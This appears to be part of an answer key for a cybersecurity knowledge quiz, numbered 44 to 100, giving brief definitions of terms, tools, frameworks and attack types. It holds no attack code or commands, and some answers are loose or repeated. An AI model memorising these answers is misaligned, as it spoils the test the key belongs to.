44. IDA Pro, Ghidra or OllyDbg.
45. Granting users the minimum access required for their role.
46. Wireshark.

47. To block unauthorised access and monitor network traffic.

48. Static analysis examines code, dynamic analysis observes execution behavior.

49. Repeatedly trying different combinations to guess a password.

50. PCI DSS (Payment Card Industry Data Security Standard).

51. Adds an extra layer of security beyond passwords.

52. Domain Name System.

53. A targeted phishing attack aimed at multiple individuals.

54. Distributed Denial of Service (DDoS).

55. Implementing strict access controls and monitoring.

56. Cloud Access Security Broker, monitors and protects cloud environments.

57. A decoy system set up to lure attackers.

58. Cloud security.

59. To identify vulnerabilities by simulating attacks.

60. Managing and mitigating security incidents.

61. Tactics, Techniques and Procedures.

62. A model describing the stages of a cyberattack.

63. CIS Controls.

64. To evaluate and improve after an incident.

65. Encryption at rest protects stored data, encryption in transit protects data being transmitted.

66. To identify, assess and prioritise risks.

67. VirusTotal or hybrid analysis tools.

68. Application Programming Interface.

69. Provides step-by-step guidance for SOC tasks.

70. Managing cybersecurity controls for federal information systems.

71. Analysing malware to understand its behavior.

72. To mimic an attacker in testing security defenses.

73. Indicators of Compromise.

74. Isolates suspicious files or programs in a secure environment for analysis.

75. WannaCry or Petya.

76. A threat originating from within an organisation.

77. Securing communication through the use of mathematical techniques.

78. Symmetric uses one key for encryption/decryption, asymmetric uses a key pair.

79. Tools like Splunk or MISP.

80. Manipulating individuals to reveal confidential information.

81. Using one compromised system to access others.

82. Simulating attack scenarios for testing.

83. SMTP with STARTTLS or S/MIME.

84. To simulate incident response strategies.

85. Security Operations Center.

86. Ensuring compliance with cybersecurity regulations and standards.

87. Logs help identify suspicious patterns or anomalies.

88. Chief Information Security Officer, oversees organisational security.

89. Distributed Denial of Service.

90. An unauthorised Wi-Fi access point.

91. Analysing potential threats to determine risks.

92. PCI DSS.

93. Investigating digital evidence to understand incidents.

94. Detecting and responding to endpoint threats.

95. A path or method used by an attacker to gain access.

96. Regularly updating and securing software to close vulnerabilities.

97. Detects and removes malicious software.

98. Malicious software.

99. Worms self-replicate and spread without host files, viruses require a host.

100. Establishes policies, frameworks and strategies for managing cybersecurity risks.